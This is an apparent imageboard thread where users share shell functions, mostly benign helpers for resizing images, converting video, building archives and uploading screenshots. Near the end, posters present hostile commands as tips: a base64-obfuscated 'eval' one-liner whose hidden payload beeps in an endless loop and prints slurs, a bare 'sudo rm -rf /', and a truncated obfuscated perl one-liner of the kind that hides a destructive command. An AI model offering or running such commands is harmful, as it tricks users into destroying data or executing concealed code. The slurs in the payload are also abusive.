Shell thread

Post your shell commands or ideas for shell commands. I'm compiling a list. Here's what I got so far:

gitgud.io/chiru.no/useful-bash-stuff

gimpresize(){ input="$1"; res="$2"; output="$3"; gimp -ib "(let* ((image (car (gimp-file-load RUN-INTERACTIVE \"$input\" \"\")))(drawable (car (gimp-image-get-active-layer image))))(gimp-image-scale-full image $res INTERPOLATION-LOHALO)(gimp-file-save RUN-NONINTERACTIVE image drawable \"$output\" \"\"))(gimp-quit 0)";}# gimpresize input.png 1920\ 1080 output.pngimagemagickresize(){ input="$1"; res="$2"; output="$3"; convert $input -colorspace RGB +sigmoidal-contrast 12.09375 -filter Lanczossharp -distort resize $res -sigmoidal-contrast 12.09375 -colorspace sRGB $output;}# imagemagickresize input.png 1920x1080 output.pngvidtogif(){ input="$1"; res="$2"; colors="$3"; output="$4"; ffmpeg -i $input -vf palettegen /tmp/palette.png && ffmpeg -i $input -i /tmp/palette.png -lavfi paletteuse $output && gifsicle -b -O3 --resize-width $res --colors $colors -i $output;}# vidtogif input.webm 640 200 output.gifvidtowebm(){ input="$1"; videoquality="$2"; audioquality="$3"; output="$4"; ffmpeg -i $input -vcodec libvpx-vp9 -b:v 0 -crf $videoquality -c:a libopus -b:a $audioquality -g 500 -threads 8 $output;}# vidtowebm input.mp4 40 192K output.webmvidtomp4(){ input="$1"; videoquality="$2"; audioquality="$3"; output="$4"; ffmpeg -i $input -c:v libx264 -crf $videoquality -profile high -level 5.1 -preset veryslow -pix_fmt yuv420p -c:a aac -b:a $audioquality $output;}# vidtomp4 input.mkv 20 192K output.mp47zipmax(){ archive="$1"; directory="$2"; 7z a -t7z -mx9 -m0=lzma -mfb=273 -md=1024m -ms=on -mqs=on -myx=9 -mmc=200 -mlc=8 $archive $directory;}# 7zipmax archive.7z directory/tarmax(){ archive="$1"; directory="$2"; XZ_OPT="--lzma1=preset=9e,dict=1024MB,nice=273,depth=200,lc=4" tar --lzma -cf $archive $directory;}# tarmax archive.tar.lzma directory/screenshot(){ scrot -e "meh \$f || sxiv \$f || feh \$f || nomacs \$f && read -erp Upload\? -n1 yn && [ \\\$yn == y ] && curl -F upload=@\$f chiru.no";}# screenshotwaifu2xmax(){ input="$1"; output="$2"; quality=$(identify -verbose $input | grep -oP "(?

Attached: fd42ed2ac444ec95645e3277e31f919a8d91b3c600868c829c491a0ab5e831c2.jpg (2460x1573, 1.66M)

Other urls found in this thread:

repo.or.cz/q3cpma-shell-scripts.git
8ch.net/tech/res/1004103.html#1004271
media.8ch.net/file_store/'[0-Z]\ ''[0-Z]\{3,4\}'
media.8ch.net/file_store/thumb
stackoverflow.com/questions/7131670/make-a-bash-alias-that-takes-a-parameter
8ch.net/tech/res/1003160.json
github.com/aconchillo/guile-json(use-modules
ghostbin.com/paste/bvz4y
github.com/ekisu/mpv-webm
github.com/ozmartian/vidcutter
8ch.net/tech/res/1003160.html
seashells.io
en.wikipedia.org/wiki/ANSI_escape_code
twitter.com/SFWRedditVideos

Here are my scripts. Made for POSIX sh with rare exceptions like find -print0.
repo.or.cz/q3cpma-shell-scripts.git

why'd you have them as functions instead of aliases in a .bashrc?

!#/bin/sh
javac /home/random/javafile.class
java javafile

Now that’s how you compile a Java file, mommas dearest

Try to do an alias that does
myfunc(){ echo foo "$@" bar}

Nice! Thanks :)

ok but in that example it doesn't seem any less convenient than just running the regular command anyway

#!/bin/basheval $(echo "Tk9URV9CMD0zMTsgTk9URV9DMT0zMzsgTk9URV9DUzE9MzU7IE5PVEVfRDE9Mzc7IE5PVEVfRFMxPTM5OyBOT1RFX0UxPTQxOyBOT1RFX0YxPTQ0OyBOT1RFX0ZTMT00NjsgTk9URV9HMT00OTsgTk9URV9HUzE9NTI7IE5PVEVfQTE9NTU7IE5PVEVfQVMxPTU4OyBOT1RFX0IxPTYyOyBOT1RFX0MyPTY1OyBOT1RFX0NTMj02OTsgTk9URV9EMj03MzsgTk9URV9EUzI9Nzg7IE5PVEVfRTI9ODI7IE5PVEVfRjI9ODc7IE5PVEVfRlMyPTkzOyBOT1RFX0cyPTk4OyBOT1RFX0dTMj0xMDQ7IE5PVEVfQTI9MTEwOyBOT1RFX0FTMj0xMTc7IE5PVEVfQjI9MTIzOyBOT1RFX0MzPTEzMTsgTk9URV9DUzM9MTM5OyBOT1RFX0QzPTE0NzsgTk9URV9EUzM9MTU2OyBOT1RFX0UzPTE2NTsgTk9URV9GMz0xNzU7IE5PVEVfRlMzPTE4NTsgTk9URV9HMz0xOTY7IE5PVEVfR1MzPTIwODsgTk9URV9BMz0yMjA7IE5PVEVfQVMzPTIzMzsgTk9URV9CMz0yNDc7IE5PVEVfQzQ9MjYyOyBOT1RFX0NTND0yNzc7IE5PVEVfRDQ9Mjk0OyBOT1RFX0RTND0zMTE7IE5PVEVfRTQ9MzMwOyBOT1RFX0Y0PTM0OTsgTk9URV9GUzQ9MzcwOyBOT1RFX0c0PTM5MjsgTk9URV9HUzQ9NDE1OyBOT1RFX0E0PTQ0MDsgTk9URV9BUzQ9NDY2OyBOT1RFX0I0PTQ5NDsgTk9URV9DNT01MjM7IE5PVEVfQ1M1PTU1NDsgTk9URV9ENT01ODc7IE5PVEVfRFM1PTYyMjsgTk9URV9FNT02NTk7IE5PVEVfRjU9Njk4OyBOT1RFX0ZTNT03NDA7IE5PVEVfRzU9Nzg0OyBOT1RFX0dTNT04MzE7IE5PVEVfQTU9ODgwOyBOT1RFX0FTNT05MzI7IE5PVEVfQjU9OTg4OyBOT1RFX0M2PTEwNDc7IE5PVEVfQ1M2PTExMDk7IE5PVEVfRDY9MTE3NTsgTk9URV9EUzY9MTI0NTsgTk9URV9FNj0xMzE5OyBOT1RFX0Y2PTEzOTc7IE5PVEVfRlM2PTE0ODA7IE5PVEVfRzY9MTU2ODsgTk9URV9HUzY9MTY2MTsgTk9URV9BNj0xNzYwOyBOT1RFX0FTNj0xODY1OyBOT1RFX0I2PTE5NzY7IE5PVEVfQzc9MjA5MzsgTk9URV9DUzc9MjIxNzsgTk9URV9ENz0yMzQ5OyBOT1RFX0RTNz0yNDg5OyBOT1RFX0U3PTI2Mzc7IE5PVEVfRjc9Mjc5NDsgTk9URV9GUzc9Mjk2MDsgTk9URV9HNz0zMTM2OyBOT1RFX0dTNz0zMzIyOyBOT1RFX0E3PTM1MjA7IE5PVEVfQVM3PTM3Mjk7IE5PVEVfQjc9Mzk1MTsgTk9URV9DOD00MTg2OyBOT1RFX0NTOD00NDM1OyBOT1RFX0Q4PTQ2OTk7IE5PVEVfRFM4PTQ5Nzg7IAp1bmRlcndvcmxkPSggJE5PVEVfQzQgJE5PVEVfQzUgJE5PVEVfQTMgJE5PVEVfQTQgJE5PVEVfQVMzICROT1RFX0FTNCAwIDAgJE5PVEVfQzQgJE5PVEVfQzUgJE5PVEVfQTMgJE5PVEVfQTQgJE5PVEVfQVMzICROT1RFX0FTNCAwIDAgJE5PVEVfRjMgJE5PVEVfRjQgJE5PVEVfRDMgJE5PVEVfRDQgJE5PVEVfRFMzICROT1RFX0RTNCAwIDAgJE5PVEVfRjMgJE5PVEVfRjQgJE5PVEVfRDMgJE5PVEVfRDQgJE5PVEVfRFMzICROT1RFX0RTNCAwIDAgJE5PVEVfRFM0ICROT1RFX0NTNCAkTk9URV9ENCAkTk9URV9DUzQgJE5PVEVfRFM0ICROT1RFX0RTNCAkTk9URV9HUzMgJE5PVEVfRzMgJE5PVEVfQ1M0ICROT1RFX0M0ICROT1RFX0ZTNCAkTk9URV9GNCAkTk9URV9FMyAkTk9URV9BUzQgJE5PVEVfQTQgJE5PVEVfR1M0ICROT1RFX0RTNCAkTk9URV9CMyAkTk9URV9BUzMgJE5PVEVfQTMgJE5PVEVfR1MzIDAgMCAwICk7CnVuZGVyd29ybGRfdGVtcG89KCAxMiAxMiAxMiAxMiAxMiAxMiA2IDMgMTIgMTIgMTIgMTIgMTIgMTIgNiAzIDEyIDEyIDEyIDEyIDEyIDEyIDYgMyAxMiAxMiAxMiAxMiAxMiAxMiA2IDYgMTggMTggMTggNiA2IDYgNiA2IDYgMTggMTggMTggMTggMTggMTggMTAgMTAgMTAgMTAgMTAgMTAgMyAzIDMgKTsKdW5kZXJ3b3JsZF9tZXNzYWdlPSggIk8iICJQICIgImlzICIgImEgIiAiZmFnZ290IiAiLlxuIiAiIiAiIiAiTyIgIlAgIiAiaXMgIiAiYSAiICJmYWdnb3QiICIuXG4iICIiICIiICJBICIgImJpZyAiICJmdWNraW5nICIgImZhZ2dvdCIgIi5cbiIgIiIgIiIgIiIgIkEgIiAiYmlnICIgImZ1Y2tpbmcgIiAiZmFnZ290IiAiLlxuIiAiIiAiIiAiIiAiTyIgIlAiICIgaSIgInMgIiAiYSAiICJmIiAiYSIgImciICJnIiAibyIgInQuXG4iICJPIiAiUCIgIiBpIiAicyAiICJhICIgImYiICJhIiAiZyIgImciICJvdC5cbiIgKTsKX2FsYXJtKCkgeyAgICAgeyAgICAgICAoIFxzcGVha2VyLXRlc3QgLS1mcmVxdWVuY3kgJDEgLS10ZXN0IHNpbmUgKSYgICAgICAgcGlkPSQhOyAgICAgICBzbGVlcCAwLiR7Mn1zOyAgICAgICBkaXNvd24gJHBpZDsgICAgICAga2lsbCAtOSAkcGlkOyAgICAgfSAmPiAvZGV2L251bGw7IH07IHdoaWxlIHRydWU7IGRvICAgICBmb3IoKGk9MDtpPCR7I3VuZGVyd29ybGRbQF19O2krKykpOyAgICAgZG8gICAgICAgICBpZiBbICR7dW5kZXJ3b3JsZFskaV19IC1uZSAwIF07ICAgICAgICAgdGhlbiAgICAgICAgICAgICBwcmludGYgIiViIiAiJHt1bmRlcndvcmxkX21lc3NhZ2VbJGldfSI7ICAgICAgICAgICAgIF9hbGFybSAke3VuZGVyd29ybGRbJGldfSAke3VuZGVyd29ybGRfdGVtcG9bJGldfTsgICAgICAgICBlbHNlICAgICAgICAgICAgIHNsZWVwIDAuJHt1bmRlcndvcmxkX3RlbXBvWyRpXX07ICAgICAgICAgZmk7ICAgICAgICAgIHNsZWVwIDAuMCR7dW5kZXJ3b3JsZF90ZW1wb1skaV19OyAgICAgZG9uZSBkb25lIAo=" | base64 -d)
yep that's a one liner

sudo rm -rf /

>not using echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{